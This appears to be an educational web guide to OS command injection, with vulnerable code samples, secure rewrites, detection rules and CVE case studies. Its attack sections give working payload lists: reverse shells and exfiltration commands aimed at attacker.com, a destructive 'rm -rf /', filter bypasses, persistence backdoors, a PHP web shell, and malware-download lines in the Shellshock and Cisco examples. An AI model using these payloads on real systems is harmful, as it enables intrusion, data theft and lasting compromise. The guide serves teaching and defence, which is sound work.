Back to Attack Flows

Table of Contents

What is Command Injection?

Command Injection (also known as OS Command Injection or Shell Injection) is a critical security vulnerability that occurs when an application passes unsafe user-supplied data to a system shell. This allows attackers to execute arbitrary operating system commands on the server, potentially leading to complete system compromise.

Why is Command Injection Critical?

Command injection is one of the most severe vulnerabilities because it:

Attack Capabilities

Successful command injection exploitation allows attackers to:

How Command Injection Works

Attack Flow

Command injection attacks typically follow this pattern:

  1. Input Discovery: Attacker identifies user input that's passed to system commands
  2. Injection Testing: Tests various command separators and injection techniques
  3. Command Execution: Crafts malicious payload to execute arbitrary commands
  4. Output Retrieval: Observes command output through responses or side channels
  5. Privilege Escalation: Attempts to gain higher privileges on the system
  6. Persistence: Establishes backdoors for continued access

Vulnerable Code Examples

PHP - Unsafe Shell Execution

<?php
// VULNERABLE: User input directly in shell command
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>" . $output . "</pre>";

// Attack: ?ip=8.8.8.8; cat /etc/passwd
// Executes: ping -c 4 8.8.8.8; cat /etc/passwd
?>

Python - Unsafe Subprocess Call

import subprocess
import sys

# VULNERABLE: Shell=True with user input
filename = sys.argv[1]
subprocess.call("cat " + filename, shell=True)

# Attack: file.txt; rm -rf /
# Executes: cat file.txt; rm -rf /

Node.js - Unsafe exec()

const { exec } = require('child_process');
const express = require('express');
const app = express();

// VULNERABLE: User input in exec command
app.get('/dns', (req, res) => {
    const domain = req.query.domain;
    exec(`nslookup ${domain}`, (error, stdout) => {
        res.send(stdout);
    });
});

// Attack: ?domain=google.com;whoami
// Executes: nslookup google.com;whoami

Java - Runtime.exec() Vulnerability

// VULNERABLE: Command concatenation
String fileName = request.getParameter("file");
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("cat " + fileName);

// Attack: file.txt; ls -la
// Executes: cat file.txt; ls -la

Types of Command Injection

1. Classic Command Injection

Direct execution of commands using separators or operators.

# Semicolon separator
127.0.0.1; whoami

# Pipe operator
127.0.0.1 | whoami

# AND operator
127.0.0.1 && whoami

# OR operator
invalid || whoami

# Command substitution
127.0.0.1 `whoami`
127.0.0.1 $(whoami)

# Background execution
127.0.0.1 & whoami &

2. Blind Command Injection

Commands execute but output isn't returned directly. Detection through timing, DNS, or HTTP callbacks.

# Time-based detection
127.0.0.1; sleep 10

# DNS exfiltration
127.0.0.1; nslookup $(whoami).attacker.com

# HTTP callback
127.0.0.1; curl https://attacker.com/?data=$(cat /etc/passwd | base64)

# File-based output
127.0.0.1; whoami > /var/www/html/output.txt

3. Filter Evasion

Bypassing input validation and filtering mechanisms.

# Using variable expansion
127.0.0.1; $PATH
127.0.0.1; ${PATH}

# Character encoding
127.0.0.1%0awhoami    # Newline
127.0.0.1%09whoami    # Tab

# Quote manipulation
127.0.0.1; w'h'o'a'm'i
127.0.0.1; w"h"o"a"m"i"

# Concatenation
127.0.0.1; who$()ami
127.0.0.1; who${IFS}ami

4. Windows-Specific Injection

REM Command separators
127.0.0.1 & whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
127.0.0.1 | whoami

REM PowerShell execution
127.0.0.1; powershell -c "Get-Process"

REM Using environment variables
127.0.0.1 & %COMSPEC% /c whoami

Advanced Exploitation Techniques

1. Reverse Shells

# Bash reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Netcat reverse shell
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f

# Python reverse shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP reverse shell
; php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# PowerShell reverse shell (Windows)
; powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

2. Data Exfiltration

# Exfiltrate via DNS
; cat /etc/passwd | xxd -p | while read line; do nslookup $line.attacker.com; done

# Exfiltrate via HTTP
; curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.com/exfil
; wget --post-data="data=$(cat sensitive.txt)" https://attacker.com/collect

# Email exfiltration
; cat /etc/passwd | mail -s "Data" attacker@evil.com

# FTP exfiltration
; curl -T /etc/passwd ftp://attacker.com --user user:pass

3. Privilege Escalation

# Find SUID binaries
; find / -perm -4000 -type f 2>/dev/null

# Check sudo privileges
; sudo -l

# Exploit cron jobs
; echo "* * * * * /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1" > /tmp/cron
; crontab /tmp/cron

# Add new user
; useradd -m -s /bin/bash -G sudo attacker
; echo "attacker:password" | chpasswd

# Modify sudoers
; echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

4. Persistence Mechanisms

# SSH key persistence
; mkdir -p ~/.ssh
; echo "ssh-rsa AAAA... attacker@evil" >> ~/.ssh/authorized_keys
; chmod 600 ~/.ssh/authorized_keys

# Backdoor service
; echo "[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target" > /etc/systemd/system/update.service
; systemctl enable update.service
; systemctl start update.service

# Web shell
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Cron backdoor
; (crontab -l; echo "@reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'") | crontab -

Bypass Methods

1. Character Encoding and Obfuscation

# Hex encoding
; $(echo 776861616d69 | xxd -r -p)  # whoami

# Base64 encoding
; echo d2hvYW1p | base64 -d | bash  # whoami

# Octal encoding
; $(printf "\167\150\157\141\155\151")  # whoami

# Unicode encoding
; \u0077\u0068\u006f\u0061\u006d\u0069  # whoami (in some contexts)

2. Whitespace and IFS Bypass

# Using $IFS (Internal Field Separator)
; cat${IFS}/etc/passwd
; cat$IFS$9/etc/passwd

# Using tabs
; cat%09/etc/passwd

# Using braces
; {cat,/etc/passwd}

# Using redirection
; cat

3. Keyword Filtering Bypass

# Variable concatenation
; w'h'o'a'm'i
; w"h"o"a"m"i"
; wh$()oami
; who$@ami

# Case variation (if case-insensitive)
; WhOaMi
; WHOAMI

# Wildcard usage
; /bin/c?t /etc/passwd
; /bin/ca* /etc/passwd
; /b??/c?t /etc/p????d

# Absolute paths
; /usr/bin/whoami
; /bin/cat /etc/passwd

4. Length Limitation Bypass

# Command chaining
; >a
; >b\ 
; >c\>
; >d\ 
; ls -t>x
; sh x

# Environment variables
; export X=who
; export Y=ami
; $X$Y

# File-based execution
; echo whoami>c
; sh c

5. Null Byte and Special Characters

# Null byte injection (older systems)
; cat /etc/passwd%00

# Line continuation
; cat /etc/\
passwd

# Comment injection
; cat /etc/passwd #

# Newline injection
; cat%0a/etc/passwd

Prevention & Mitigation

1. Avoid System Calls Entirely

The most effective prevention is to avoid calling system commands altogether.

PHP - Use Built-in Functions

<?php
// SECURE: Use built-in functions instead of shell commands
// Instead of shell_exec("ping $ip")
$ip = $_GET['ip'];

// Validate IP address
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    // Use native PHP socket functions
    $socket = @fsockopen($ip, 80, $errno, $errstr, 2);
    if ($socket) {
        echo "Host is reachable";
        fclose($socket);
    } else {
        echo "Host is unreachable";
    }
} else {
    echo "Invalid IP address";
}
?>

Python - Use Native Libraries

import os
import ipaddress
import socket

# SECURE: Use Python libraries instead of shell commands
def check_host(ip_str):
    try:
        # Validate IP address
        ip = ipaddress.ip_address(ip_str)
        
        # Use socket library instead of ping command
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        result = sock.connect_ex((str(ip), 80))
        sock.close()
        
        return result == 0
    except ValueError:
        return False

2. Input Validation and Sanitization

<?php
// SECURE: Strict input validation
function validateInput($input, $type) {
    switch($type) {
        case 'ip':
            return filter_var($input, FILTER_VALIDATE_IP) ? $input : false;
        case 'filename':
            // Allow only alphanumeric, dash, underscore, dot
            return preg_match('/^[a-zA-Z0-9_\-\.]+$/', $input) ? $input : false;
        case 'number':
            return filter_var($input, FILTER_VALIDATE_INT) ? $input : false;
        default:
            return false;
    }
}

$ip = validateInput($_GET['ip'], 'ip');
if ($ip === false) {
    die("Invalid input");
}
?>

3. Use Parameterized Execution

Python - Safe Subprocess Usage

import subprocess
import shlex

# SECURE: Use list argument without shell=True
def safe_execution(user_input):
    # Validate input first
    if not user_input.replace('.', '').isdigit():
        raise ValueError("Invalid input")
    
    # Use list of arguments - prevents injection
    result = subprocess.run(
        ['ping', '-c', '4', user_input],
        capture_output=True,
        text=True,
        timeout=5
    )
    return result.stdout

# Even safer with shlex
def safer_execution(user_input):
    cmd = shlex.split(f'ping -c 4 {shlex.quote(user_input)}')
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

Node.js - Safe execFile Usage

const { execFile } = require('child_process');

// SECURE: Use execFile with array arguments
function safePing(ip) {
    // Validate IP first
    const ipRegex = /^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$/;
    if (!ipRegex.test(ip)) {
        throw new Error('Invalid IP address');
    }
    
    // execFile doesn't invoke shell, prevents injection
    execFile('ping', ['-c', '4', ip], (error, stdout, stderr) => {
        if (error) {
            console.error('Error:', error);
            return;
        }
        console.log(stdout);
    });
}

4. Use Allowlists

# SECURE: Allowlist approach
ALLOWED_COMMANDS = {
    'status': ['systemctl', 'status', 'nginx'],
    'restart': ['systemctl', 'restart', 'nginx'],
    'check': ['nginx', '-t']
}

def execute_allowed_command(command_name):
    if command_name not in ALLOWED_COMMANDS:
        raise ValueError("Command not allowed")
    
    # Execute pre-defined command only
    result = subprocess.run(
        ALLOWED_COMMANDS[command_name],
        capture_output=True,
        text=True
    )
    return result.stdout

5. Principle of Least Privilege

# Run application with minimal permissions
# Create dedicated user
sudo useradd -r -s /bin/false appuser

# Set proper file permissions
sudo chown -R appuser:appuser /var/www/app
sudo chmod -R 750 /var/www/app

# Use capabilities instead of root
sudo setcap 'cap_net_bind_service=+ep' /usr/bin/node

# Docker container with non-root user
FROM node:16
RUN useradd -m -u 1001 appuser
USER appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
CMD ["node", "server.js"]

6. Security Headers and Configurations

<?php
// Disable dangerous PHP functions
// In php.ini:
// disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

// Application configuration
ini_set('display_errors', 0);
error_reporting(0);

// Use safe mode features where available
if (function_exists('putenv')) {
    putenv('PATH=/usr/local/bin:/usr/bin:/bin');
}
?>

Detection & Testing

Manual Testing Checklist

  1. Identify Input Points: Find all user inputs passed to system commands
  2. Test Command Separators: Try ;, |, &&, ||, &
  3. Test Command Substitution: Try `cmd`, $(cmd)
  4. Test Time-Based Detection: Use sleep 10 or ping -c 10 127.0.0.1
  5. Test Output Channels: Look for command output in responses
  6. Test Blind Injection: Use DNS/HTTP callbacks with Burp Collaborator
  7. Test Filter Bypasses: Try encoding, obfuscation, wildcards
  8. Verify with Safe Commands: Use whoami, id, pwd

Testing Payloads

# Basic detection
; whoami
| whoami
& whoami
&& whoami
|| whoami
`whoami`
$(whoami)

# Time-based blind detection
; sleep 10
| sleep 10
`sleep 10`
$(sleep 10)

# Output redirection
; whoami > /var/www/html/out.txt
; curl https://attacker.com/?data=`whoami`

# DNS callback (use Burp Collaborator or similar)
; nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
; nslookup `whoami`.BURP-COLLABORATOR-SUBDOMAIN

# HTTP callback
; curl https://BURP-COLLABORATOR/?data=$(whoami)
; wget https://BURP-COLLABORATOR/?data=`id`

Automated Testing Tools

  • Commix: Automated command injection exploitation tool
    commix --url="http://target.com/page?param=value" --level=3
  • Burp Suite: Use Intruder with command injection payloads
    # Load payload list from SecLists
    # /Fuzzing/command-injection/command-injection-commix.txt
  • OWASP ZAP: Active scan with command injection rules
  • SQLMap: Can detect and exploit command injection via --os-cmd
    sqlmap -u "http://target.com/page?param=value" --os-shell

Code Review Patterns

# Search for dangerous functions in code
# PHP
grep -r "shell_exec\|exec\|system\|passthru\|popen\|proc_open" .

# Python
grep -r "os.system\|subprocess.call.*shell=True\|os.popen" .

# Node.js
grep -r "exec\|spawn.*shell.*true\|child_process" .

# Java
grep -r "Runtime.getRuntime\|ProcessBuilder" .

# Ruby
grep -r "system\|exec\|%x\|backticks" .

Monitoring and Detection

# Monitor for suspicious commands
# Using auditd on Linux
auditctl -a always,exit -F arch=b64 -S execve -k command_execution

# Search audit logs
ausearch -k command_execution | grep -E "whoami|id|uname|cat /etc"

# Monitor web logs for injection attempts
tail -f /var/log/apache2/access.log | grep -E ";\|&&|\|\||sleep|wget|curl"

# Use fail2ban to block attackers
cat >> /etc/fail2ban/filter.d/command-injection.conf <<EOF
[Definition]
failregex = .*(\;|\||&&|\|\||sleep|wget|curl|bash|sh|nc|netcat).*
ignoreregex =
EOF

Real-World Examples

1. Shellshock (CVE-2014-6271)

Impact: Critical command injection in Bash shell affecting millions of systems.

# Vulnerability in Bash environment variable parsing
curl -H "User-Agent: () { :; }; /bin/bash -c 'cat /etc/passwd'" \
     http://vulnerable-server/cgi-bin/test.sh

# Attack vector through CGI scripts
GET /cgi-bin/status HTTP/1.1
User-Agent: () { :;}; /bin/bash -c 'wget http://attacker.com/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m'

Lesson: Even trusted system components can have critical injection vulnerabilities. Always update systems.

2. ImageTragick (CVE-2016-3714)

Impact: Command injection in ImageMagick image processing library.

# Malicious image file
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl https://attacker.com/exfil?data="`cat /etc/passwd`")'
pop graphic-context

Lesson: File uploads and processing can be vectors for command injection. Validate and sanitize all file operations.

3. Cisco RV Routers (CVE-2019-1653)

Impact: Command injection in router administration interface.

# Injection through filename parameter
POST /upload HTTP/1.1
...
filename=";reboot;.tar"

# Full exploitation
filename=";wget http://attacker.com/backdoor -O /tmp/b && chmod +x /tmp/b && /tmp/b;.tar"

Lesson: IoT and network devices are common targets. Regular firmware updates are critical.

4. GitLab CI/CD (CVE-2021-22205)

Impact: Command injection leading to remote code execution in GitLab.

# Exploit through image upload with malicious metadata
import requests

payload = b'\xFF\xD8\xFF\xE0' + b''

files = {'file': ('exploit.jpg', payload, 'image/jpeg')}
r = requests.post('https://gitlab-instance/uploads/user', files=files)

Lesson: Complex applications with file processing are vulnerable. Defense in depth is essential.

Quick Reference

Command Injection Cheat Sheet

Linux/Unix Command Separators

;   # Command separator
|   # Pipe output
||  # OR operator (execute if previous fails)
&&  # AND operator (execute if previous succeeds)
&   # Background execution
`   # Command substitution (backticks)
$() # Command substitution
<   # Input redirection
>   # Output redirection
>>  # Append redirection
\n  # Newline (in some contexts)

Windows Command Separators

&   # Command separator
&&  # AND operator
||  # OR operator
|   # Pipe
%0a # Newline
%0d # Carriage return

Quick Detection Payloads

# Unix/Linux
; whoami
; id
; uname -a
; cat /etc/passwd
; sleep 10

# Windows
& whoami
& ipconfig
& dir
& timeout 10

# Blind detection
; nslookup $(whoami).COLLABORATOR.com
; curl https://COLLABORATOR.com/?data=$(id | base64)

Essential Testing Tools

  • Commix: https://github.com/commixproject/commix
  • Burp Suite: Professional web security testing
  • OWASP ZAP: Free web application scanner
  • SecLists: https://github.com/danielmiessler/SecLists
  • PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings

Prevention Checklist

  • ✓ Avoid system calls entirely when possible
  • ✓ Use language-native functions instead of shell commands
  • ✓ Implement strict input validation with allowlists
  • ✓ Use parameterized/array-based command execution
  • ✓ Never concatenate user input into commands
  • ✓ Apply principle of least privilege
  • ✓ Disable dangerous functions in configuration
  • ✓ Implement monitoring and logging
  • ✓ Use containerization and sandboxing
  • ✓ Regular security audits and penetration testing

Additional Resources